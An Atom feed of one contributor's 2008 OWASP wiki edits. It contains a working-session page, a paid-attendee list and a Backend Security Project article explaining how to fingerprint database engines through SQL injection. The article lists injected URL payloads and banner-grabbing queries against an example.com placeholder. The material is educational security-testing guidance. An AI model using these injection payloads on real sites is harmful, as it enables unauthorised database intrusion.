https://wiki.owasp.org/api.php?action=feedcontributions&user=Dbellucci&feedformat=atomOWASP - User contributions [en]2024-03-28T22:48:49ZUser contributionsMediaWiki 1.27.2https://wiki.owasp.org/index.php?title=OWASP_Working_Session_-_Web_Application_Framework_Security&diff=45346OWASP Working Session - Web Application Framework Security2008-11-01T16:20:09Z<p>Dbellucci: </p>
<hr />
<div>{| style="width:100%" border="0" align="center"<br />
! colspan="7" align="center" style="background:#b3b3b3; color:white"|<font color="black">'''Working Sessions Operational Rules''' - [[:Working Sessions Methodology|'''Please see here the general frame of rules''']].<br />
|}<br />
{| style="width:100%" border="0" align="center"<br />
! colspan="7" align="center" style="background:#4058A0; color:white"|<font color="white">'''WORKING SESSION IDENTIFICATION''' <br />
|-<br />
| style="width:15%; background:#7B8ABD" align="center"|'''Work Session Name'''<br />
| colspan="6" style="width:85%; background:#cccccc" align="left"|<font color="black">'''ISWG Web Application Framework Security'''<br />
|-<br />
| style="width:15%; background:#7B8ABD" align="center"| '''Short Work Session Description''' <br />
| colspan="6" style="width:85%; background:#cccccc" align="left"|Generate<br />
|-<br />
| style="width:15%; background:#7B8ABD" align="center"| '''Related Projects (if any)''' <br />
| colspan="6" style="width:85%; background:#cccccc" align="left"|Brainstorming on how to introduce more useful security into our web application frameworks<br />
OWASP ISWG (Intrinsic Security Working Group) - Web Application Framework Security<br />
|-<br />
| style="width:25%; background:#7B8ABD" align="center"|'''Email Contacts & Roles'''<br />
| style="width:25%; background:#cccccc" align="center"|'''Chair'''<br>[mailto:arshan.dabirsiaghi(at)aspectsecurity.com '''Arshan Dabirsiaghi'''] <br />
| style="width:25%; background:#cccccc" align="center"|'''Secretary'''<br>[mailto:kuai.hinojosa(at)owasp.org '''Kuai Hinojosa''']<br />
| style="width:25%; background:#cccccc" align="center"|'''Mailing list'''<br>[https://lists.owasp.org/mailman/listinfo/owasp-iswg-web-application-framework-security '''Subscription Page''']<br />
|}<br />
{| style="width:100%" border="0" align="center"<br />
! colspan="7" align="center" style="background:#4058A0; color:white"|<font color="white">'''WORKING SESSION SPECIFICS''' <br />
|-<br />
| style="width:15%; background:#7B8ABD" align="center"|'''Objectives'''<br />
| colspan="6" style="width:85%; background:#cccccc" align="left"|<font color="black"><br />
* Discuss gaps and patterns in gaps in security coverage across frameworks,<br />
* Discuss possible solutions for security areas. <br />
|-<br />
| style="width:25%; background:#7B8ABD" align="center"|'''Venue/Date&Time/Model'''<br />
| style="width:25%; background:#cccccc" align="center"|'''Venue'''<br>[[:OWASP EU Summit 2008|OWASP EU Summit Portugal 2008]] <br />
| style="width:25%; background:#cccccc" align="center"|'''Date&Time'''<br>November 5, 2008 <br>Time 9:00AM<br />
| style="width:25%; background:#cccccc" align="center"|'''Discussion Model'''<br>"Participants + Attendees"<br />
|}<br />
{| style="width:100%" border="0" align="center"<br />
! colspan="7" align="center" style="background:white; color:white"|<font color="black"><br />
|}<br />
<br />
{|style="width:100%" border="0" align="center"<br />
! colspan="7" align="center" style="background:#4058A0; color:white"|<font color="white">'''WORKING SESSION OPERATIONAL RESOURCES''' <br />
|-<br />
| style="width:100%; background:#cccccc" align="center"|Projector, whiteboards, markers, Internet connectivity, power <br />
|}<br />
{| style="width:100%" border="0" align="center"<br />
! colspan="7" align="center" style="background:white; color:white"|<font color="black"><br />
|}<br />
{| style="width:100%" border="0" align="center"<br />
! colspan="7" align="center" style="background:#4058A0; color:white"|<font color="white">'''WORKING SESSION ADDITIONAL DETAILS''' <br />
|-<br />
| style="width:100%; background:#cccccc" align="left"|<br />
* '''Related resources:''' [[OWASP_Working_Session_-_Browser_Security_Letters]]<br />
* '''Frameworks to invite:''' .NET, J2EE, Spring, Struts, ASP.NET MVC, RoR, PHP, etc.<br />
** 10 Oct: "Open Letter to Frameworks (version for open mailing lists)" sent to<br />
*** Ruby-on-Rails Core mailing list<br />
*** Springnet Developer mailing list<br />
*** Struts Dev mailing list<br />
<br />
|}<br />
{| style="width:100%" border="0" align="center"<br />
! colspan="3" align="center" style="background:#4058A0; color:white"|'''WORKING SESSION OUTCOMES''' <br />
|-<br />
| style="width:7%; background:#6C82B5" align="center"|Statements, Initiatives or Decisions <br />
| style="width:46%; background:#b3b3b3" align="center"|'''Proposed by Working Group''' <br />
| style="width:47%; background:#b3b3b3" align="center"|'''Approved by OWASP Board'''<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"|<br />
| style="width:46%; background:#C2C2C2" align="center"|Actionable advice for each individual frameworks . <br />
| style="width:47%; background:#C2C2C2" align="center"|After the Board Meeting - fill in here. <br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"|<br />
| style="width:46%; background:#C2C2C2" align="center"|Identify points-of-contact for frameworks. <br />
| style="width:47%; background:#C2C2C2" align="center"|After the Board Meeting - fill in here. <br />
|}<br />
== Working Session Participants ==<br />
(Add you name by editing this table. On your the right, just above the this frame, you have the option to edit)<br />
{| style="width:100%" border="0" align="center"<br />
! colspan="7" align="center" style="background:#4058A0; color:white"|<font color="white">'''WORKING SESSION PARTICIPANTS''' <br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|'''Name'''<br />
| style="width:15%; background:#cccccc" align="center"|'''Company'''<br />
| style="width:63%; background:#cccccc" align="center"|'''Notes & reason for participating, issues to be discussed/addressed'''<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"| -<br />
| style="width:15%; background:#cccccc" align="center"| TDB (Officially Invited by OWASP)<br />
| style="width:15%; background:#cccccc" align="center"| http://forums.asp.net/Themes/fan/images/roleicons/dff6f773-6732-4cd8-addf-42a8ab367d22.gif<br />
| style="width:63%; background:#cccccc" align="center"| Official Representative from Microsoft's ASP.NET team<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"| -<br />
| style="width:15%; background:#cccccc" align="center"| TDB (Officially Invited by OWASP)<br />
| style="width:15%; background:#cccccc" align="center"| http://metawidget.sourceforge.net/media/logo-struts.gif<br />
| style="width:63%; background:#cccccc" align="center"| Official Representative from Apache Struts team<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"| -<br />
| style="width:15%; background:#cccccc" align="center"| TDB (Officially Invited by OWASP)<br />
| style="width:15%; background:#cccccc" align="center"| http://boedesign.com/wp-content/themes/bd5/images/cakephp.gif<br />
| style="width:63%; background:#cccccc" align="center"| Official Representative from CakePHP team<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"| -<br />
| style="width:15%; background:#cccccc" align="center"| TDB (Officially Invited by OWASP) <br />
| style="width:15%; background:#cccccc" align="center"| http://www.tutorialized.com/upload/20070625154105_rails.jpg<br />
| style="width:63%; background:#cccccc" align="center"| Official Representative from Ruby-on-Rails team<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"| -<br />
| style="width:15%; background:#cccccc" align="center"| TDB (Officially Invited by OWASP)<br />
| style="width:15%; background:#cccccc" align="center"| http://www.springframework.net/doc-1.1-M1/reference/html/images/xdev-spring_logo.jpg<br />
| style="width:63%; background:#cccccc" align="center"| Official Representative from Spring.NET team<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"|1<br />
| style="width:15%; background:#cccccc" align="center"|Mario Heiderich<br />
| style="width:15%; background:#cccccc" align="center"|Independent<br />
| style="width:63%; background:#cccccc" align="center"|General Expertise<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"|2<br />
| style="width:15%; background:#cccccc" align="center"|Gareth Heyes<br />
| style="width:15%; background:#cccccc" align="center"|Independent<br />
| style="width:63%; background:#cccccc" align="center"|General Expertise<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"|3<br />
| style="width:15%; background:#cccccc" align="center"|Marcin Wielgoszewski<br />
| style="width:15%; background:#cccccc" align="center"|Protiviti<br />
| style="width:63%; background:#cccccc" align="center"|Participant<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"|4<br />
| style="width:15%; background:#cccccc" align="center"|Adam Baso<br />
| style="width:15%; background:#cccccc" align="center"|Symantec<br />
| style="width:63%; background:#cccccc" align="center"|Participant<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"|5<br />
| style="width:15%; background:#cccccc" align="center"|Giorgio Fedon<br />
| style="width:15%; background:#cccccc" align="center"|Minded Security<br />
| style="width:63%; background:#cccccc" align="center"|Participant<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"|6<br />
| style="width:15%; background:#cccccc" align="center"|Colin Watson<br />
| style="width:15%; background:#cccccc" align="center"| Watson Hall<br />
| style="width:63%; background:#cccccc" align="center"|Participant<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"|7<br />
| style="width:15%; background:#cccccc" align="center"|Esteban Ribicic<br />
| style="width:15%; background:#cccccc" align="center"|HP<br />
| style="width:63%; background:#cccccc" align="center"|Participant<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"|8<br />
| style="width:15%; background:#cccccc" align="center"| Daniele Bellucci<br />
| style="width:15%; background:#cccccc" align="center"| Communication Valley<br />
| style="width:63%; background:#cccccc" align="center"| Partecipant<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"|9<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:63%; background:#cccccc" align="center"|<br />
|-<br />
| style="width:7%; background:#7B8ABD" align="center"|10<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:63%; background:#cccccc" align="center"|<br />
|}<br />
If needed add here more lines.<br />
<br />
[[Category:OWASP_Working_Session]]</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_DBMS_Fingerprint&diff=42890OWASP Backend Security Project DBMS Fingerprint2008-10-10T14:51:53Z<p>Dbellucci: /* Fingerprinting through SQL Dialect Injection */</p>
<hr />
<div>= Overview =<br />
<br />
To furthermore exploit SQL Injection vulnerability you need to know<br />
what kind of Database Engine your web application is using. <br />
There are a few techniques to accomplish this task:<br />
* Banner Grabbing<br />
* Guessing the string concatenation operator<br />
* Analyzing backend SQL Dialect<br />
* Error Code Analysis<br />
<br />
= Description =<br />
<br />
After determining that a web application is vulnerable to SQL Injection we need to fingerprint backend DBMS<br />
to furthermore exploit such a vulnerbility. Fingerprint is performed against a set of peculiarities of DBMS.<br />
Such a peculiarities are listed below in order of accuracy:<br />
<br />
* Informations exposed through an error code<br />
* String concatenation functions<br />
* SQL Dialects<br />
<br />
<br />
== Banner Grabbing ==<br />
<br />
Through a SQL Injection we can retrieve Backend DBMS banner but be aware that it could have been replaced by a system administrator. Such a SQL Injection shall include a SQL Statement to be evaluated. Let'see how to accomplish this task:<br />
* MySQL: ''SELECT version()''<br />
* Postgres: ''SELECT version()''<br />
* Oracle: ''SELECT version FROM v$instance''<br />
* MS SQL: ''SELECT @@version''<br />
<br />
== Fingerprinting with string concatenation ==<br />
<br />
Different DBMS handle string concatenation with different operators:<br />
<br />
<br />
'''MS SQL''': 'a' + 'a'<br />
<br />
'''MySQL''': CONCAT('a','a')<br />
<br />
'''Oracle''': 'a' || 'a' ''or'' CONCAT('a','a')<br />
<br />
'''Postgres''': 'a' || 'a'<br />
<br />
<br />
As you can see both Oracle and Postgres use the || operator to perform<br />
such a concatenation, so we need another difference to distinguish them.<br />
<br />
PL/SQL define the CONCAT operator as well to perform string concatenation<br />
and as you can guess this one is not defined on Postgres.<br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you're testing the following URL: <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<br />
You checked that the above URL is vulnerable to a Blind SQL Injection.<br />
It means that <nowiki>http://www.example.com/news.php</nowiki> return back<br />
the same contents with both <br />
<br />
id=1 (<nowiki>http://www.example.com/news.php?id=1</nowiki>)<br />
<br />
''and''<br />
<br />
id=1 AND 1=1 (<nowiki>http://www.example.com/news.php?id=1 AND 1=1</nowiki>)<br />
<br />
<br />
<br />
You know that different engine have different operators<br />
to perform string concatenation as well so all you have to do is <br />
to compare the orginal page (id=1) with:<br />
<br />
* '''MSSQL:''' id=1 AND 'aa'='a'+'a' <br />
* '''MySQL/Oracle:''' id=1 AND 'aa'=CONCAT('a','a') <br />
* '''Oracle/Postgres:''' id=1 AND 'a'='a'||'a' <br />
<br />
<br />
'''MS SQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1''</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'+'a'''</nowiki><br />
<br />
'''MySQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
<br />
'''Oracle''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
'''Postgres''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
<br />
== Fingerprinting through SQL Dialect Injection ==<br />
<br />
Each DBMS extends Standard SQL with a set of native statements. Such a set define a SQL Dialect available to developers<br />
to properly query a backend DBMS Engine. Beside of a lack of portability this flaw dafine a way to accurately fingerprint<br />
a DBMS through a SQL Injection, or even better a SQL Dialect Injection. SQL Dialect Injection is an attack vector where only statements, operators and peculiarities of a SQL Dialect are used in a SQL Injection.<br />
<br />
As an example what does ''SELECT 1/0'' returns on different DBMS?<br />
<br />
* '''MySQL:''' NULL<br />
* '''Postgres:''' ERROR: division by zero<br />
* '''Oracle:''' ORA-00923: FROM keyword not found where expected<br />
* '''SQL Server:''' Server: Msg 8134, Level 16, State 1, Line 1 Divide by zero error encountered.<br />
<br />
We can exploit this peculiarities to identify MySQL DBMS. To accomplish this task the following comparison shall be true:<br />
<br />
<nowiki><br />
http://www.example.com/news.php?id=1 <br />
http://www.example.com/news.php?id=1 AND ISNULL(1/0)<br />
</nowiki><br />
<br />
<br />
Let see more about this fingerprinting technique.<br />
<br />
<br />
'''MySQL:'''<br />
<br />
One of MySQL peculiarities is that when a comment block ('/**/') contains an exlamation mark ('/*! sql here*/') it is interpreted by MySQL, and is considered as a normal comment block by other DBMS.<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be '''TRUE'':<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1--</nowiki><br />
<br />
When backend engine is MySQL following WEB PAGES should contains the same content of vulnerable URL<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=1 */--</nowiki><br />
<br />
on the other side the following should be completely different:<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=0 */--</nowiki><br />
<br />
<br />
'''PostgreSQL:'''<br />
<br />
Postgres define the ''::'' operator to perform data casting. It means that ''1'' as INT<br />
can be convert to ''1'' as CHAR with the following statements:<br />
<br />
SELECT 1::CHAR<br />
<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be true when backend engine is PostgreSQL:<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1::int</nowiki><br />
<br />
'''MS SQL Server:'''<br />
T-SQL adds ''TOP'' expression for ''SELECT'' statements in order to upper limit retrieved result set:<br />
<br />
SELECT TOP 10 FROM news<br />
<br />
The following comparison should be true on MS SQL:<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 UNION ALL SELECT TOP 1 NULL,NULL </nowiki><br />
<br />
<br />
'''Oracle:'''<br />
<br />
Oracle implements the following set operators:<br />
* UNION <br />
* UNION ALL<br />
* INTERSECT<br />
* MINUS<br />
<br />
''MINUS'' has not yet been implemented on other DBMS so we can inject it to see if it get executed by backend database with no errors at all.<br />
* /news.php?id=1 is vulnerable to SQL Injection<br />
* through UNION SQL INJECTION we determine how many expression are retrieved from ''news.php'' to the backend DBMS<br />
* replace UNION with MINUS to see if you get back original page (/news.php?id=1)<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 UNION ALL SELECT NULL FROM DUAL</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 UNION ALL SELECT NULL,NULL FROM DUAL</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 UNION ALL SELECT NULL,NULL,NULL FROM DUAL</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 MINUS SELECT NULL,NULL,NULL FROM DUAL</nowiki><br />
<br />
== Error Codes Analysis ==<br />
<br />
By performing fault injection, or fuzzing, you can gather important <br />
information through error code analysis when web application framework reports errors.<br />
Let'see some examples:<br />
<br />
<nowiki><br />
http://www.example.com/store/findproduct.php?name='<br />
<br />
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version <br />
for the right syntax to use near ''''' at line 1</nowiki><br />
<br />
<nowiki><br />
http://www.example.com/store/products.php?id='<br />
<br />
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: <br />
SELECT * FROM products WHERE ID=' ^ in /var/www/store/products.php on line 9</nowiki><br />
<br />
= References =<br />
<br />
Victor Chapela: "Advanced SQL Injection" http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_EU_Summit_2008_Paid_Participants&diff=40441OWASP EU Summit 2008 Paid Participants2008-09-18T14:07:36Z<p>Dbellucci: /* Provisory list of 'expenses paid' participants */</p>
<hr />
<div>== Provisory list of 'expenses paid' participants ==<br />
<br />
{| style="width:100%" border="0" align="center"<br />
! colspan="7" align="center" style="background:#4058A0; color:white"|<font color="white">'''PROJECTED CONFERENCE PAID ATTENDEES AND/OR SPEAKERS - NEEDS OWASP BOARD CONFIRMATION''' <br />
|- <br />
| style="width:20%; background:#b3b3b3" align="center"|'''NAME'''<br />
| style="width:26%; background:#b3b3b3" align="center"|'''POSITION/REASON OF ATTENDANCE'''<br />
| style="width:15%; background:#b3b3b3" align="center"|'''COUNTRY'''<br />
| style="width:15%; background:#b3b3b3" align="center"|'''DEPARTURE (AIRPORT/CITY)'''<br />
| style="width:12%; background:#b3b3b3" align="center"|'''DATE OF ARRIVAL'''<br />
| style="width:12%; background:#b3b3b3" align="center"|'''DATE OF DEPARTURE'''<br />
|-<br />
! colspan="7" align="left" style="background:white; color:black"|<font color="black">'''OWASP BOARD MEMBERS & EMPLOYEES''' <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Jeff Williams<br />
| style="width:26%; background:#cccccc" align="center"|Board, Chair, Wiki, Management<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Washington, D.C. <br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Dave Wichers <br />
| style="width:26%; background:#cccccc" align="center"|Board, Conferences, Financials<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Washington, D.C.<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Dinis Cruz <br />
| style="width:26%; background:#cccccc" align="center"|Board, Firehose of Ideas and Money spender<br />
| style="width:15%; background:#cccccc" align="center"|UK<br />
| style="width:15%; background:#cccccc" align="center"|London<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Tom Brennan <br />
| style="width:26%; background:#cccccc" align="center"|Board, OWASP Governance<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Newark, NJ<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Sebastien Deleersnyder <br />
| style="width:26%; background:#cccccc" align="center"|Board, OWASP Chapters and Projects<br />
| style="width:15%; background:#cccccc" align="center"|Belgium<br />
| style="width:15%; background:#cccccc" align="center"|?<br />
| style="width:12%; background:#cccccc" align="center"| <br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Paulo Coimbra<br />
| style="width:26%; background:#cccccc" align="center"|Employee, Project Manager<br />
| style="width:15%; background:#cccccc" align="center"|UK<br />
| style="width:15%; background:#cccccc" align="center"|London<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Kate Hartmann<br />
| style="width:26%; background:#cccccc" align="center"|Employee, Operations Director<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Washington, D.C.<br />
| style="width:12%; background:#cccccc" align="center"| <br />
| style="width:12%; background:#cccccc" align="center"|<br />
|-<br />
! colspan="7" align="left" style="background:white; color:black"|<font color="black">'''OWASP SUMMER OF CODE 2008 PROJECT LEADERS & REVIEWERS''' <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Achim Hoffmann<br />
| style="width:26%; background:#cccccc" align="center"|Reviewer, OWASP Skavenger Project, OWASP w3af Project <br />
| style="width:15%; background:#cccccc" align="center"|Germany<br />
| style="width:15%; background:#cccccc" align="center"|Frankfurt or Munich<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Alexander Fry<br />
| style="width:26%; background:#cccccc" align="center"|Reviewer, OWASP Source Code Review OWASP Projects<br>OWASP Teachable Static Analysis Workbench<br>OWASP WeBekci Project <br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Washington, D.C. (IAD)<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Arshan Dabirsiaghi<br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP AntiSamy Project<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Baltimore, MD<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Andrew Petukhov <br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP Access Control Rules Tester Project<br />
| style="width:15%; background:#cccccc" align="center"|Russia<br />
| style="width:15%; background:#cccccc" align="center"|Moscow<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Mat Caughron <br />
| style="width:26%; background:#cccccc" align="center"|Project Reviewer, OWASP Access Control Rules Tester Project<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|San Francisco<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Dmitry Kozlov <br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP Teachable Static Analysis, OWASP Application Security Tool Benchmarking Environment and Site Generator Refresh Project<br />
| style="width:15%; background:#cccccc" align="center"|Russia<br />
| style="width:15%; background:#cccccc" align="center"|Moscow<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Arturo Alberto Busleiman <br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP Enigform and mod_Openpgp <br />
| style="width:15%; background:#cccccc" align="center"|Argentina<br />
| style="width:15%; background:#cccccc" align="center"|?<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Carlo Pelliccioni <br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP Backend Security Project<br />
| style="width:15%; background:#cccccc" align="center"|Italy <br />
| style="width:15%; background:#cccccc" align="center"|Rome (FCO)<br />
| style="width:12%; background:#cccccc" align="center"|Nov 3, 2008<br />
| style="width:12%; background:#cccccc" align="center"|Nov 7, 2008<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Eduardo Vianna de Camargo Neves <br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP Positive Security <br />
| style="width:15%; background:#cccccc" align="center"|Brazil <br />
| style="width:15%; background:#cccccc" align="center"|Curitiba (CWB)<br />
| style="width:12%; background:#cccccc" align="center"| <br />
| style="width:12%; background:#cccccc" align="center"| <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Wagner Elias <br />
| style="width:26%; background:#cccccc" align="center"|Reviwer, OWASP Positive Security <br />
| style="width:15%; background:#cccccc" align="center"|Brazil <br />
| style="width:15%; background:#cccccc" align="center"|São Paulo(GRU)<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Eoin Keary<br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP Code Review Guide, Chapter Leader <br />
| style="width:15%; background:#cccccc" align="center"|Ireland<br />
| style="width:15%; background:#cccccc" align="center"|Dublin (DUB)<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Rahim Jina<br />
| style="width:26%; background:#cccccc" align="center"|Reviewer, OWASP Code Review Guide<br />
| style="width:15%; background:#cccccc" align="center"|Ireland<br />
| style="width:15%; background:#cccccc" align="center"|Dublin (DUB)<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Esteban Ribicic<br />
| style="width:26%; background:#cccccc" align="center"|Reviewer, OWASP Backend Security Project<br>OWASP Classic ASP Security Project<br>OWASP AntiSamy .NET<br>OWASP Interceptor Project - 2008 Update<br />
| style="width:15%; background:#cccccc" align="center"|Croatia<br />
| style="width:15%; background:#cccccc" align="center"|Wien<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"| <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Juan Carlos Calderon<br />
| style="width:26%; background:#cccccc" align="center"|Project Leader, OWASP Internationalization Guidelines Project, OWASP Spanish Project, OWASP Classic ASP Security Project<br />
| style="width:15%; background:#cccccc" align="center"|Mexico<br />
| style="width:15%; background:#cccccc" align="center"|Aguscalientes (AGU) or Leon, Bajio (BJX)<br />
| style="width:12%; background:#cccccc" align="center"|Nov 3, 2008<br />
| style="width:12%; background:#cccccc" align="center"|Nov 8, 2008<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Fabio Cerullo<br />
| style="width:26%; background:#cccccc" align="center"|Reviewer, OWASP Internationalization Guidelines Project<br>OWASP Spanish Project<br />
| style="width:15%; background:#cccccc" align="center"|Ireland<br />
| style="width:15%; background:#cccccc" align="center"|Dublin (DUB)<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Frederick Donovan<br />
| style="width:26%; background:#cccccc" align="center"|Reviewer, OWASP Application Security Desk Reference (ASDR) <br />
| style="width:15%; background:#cccccc" align="center"|United States<br />
| style="width:15%; background:#cccccc" align="center"|?<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Heiko Webers<br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP Ruby on Rails Security Project<br />
| style="width:15%; background:#cccccc" align="center"|Germany<br />
| style="width:15%; background:#cccccc" align="center"|Frankfurt<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Anthony Shireman<br />
| style="width:26%; background:#cccccc" align="center"|Project reviewer, OWASP Ruby on Rails Security Project<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Portland, OR (PDX)<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Kevin Fuller<br />
| style="width:26%; background:#cccccc" align="center"|Reviewer, OWASP Testing Guide v3<br>OWASP SQL Injector Benchmarking Project (SQLiBENCH)<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Sacramento Ca <br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"| <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Leonardo Cavallari Militelli<br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP Application Security Desk Reference (ASDR)<br />
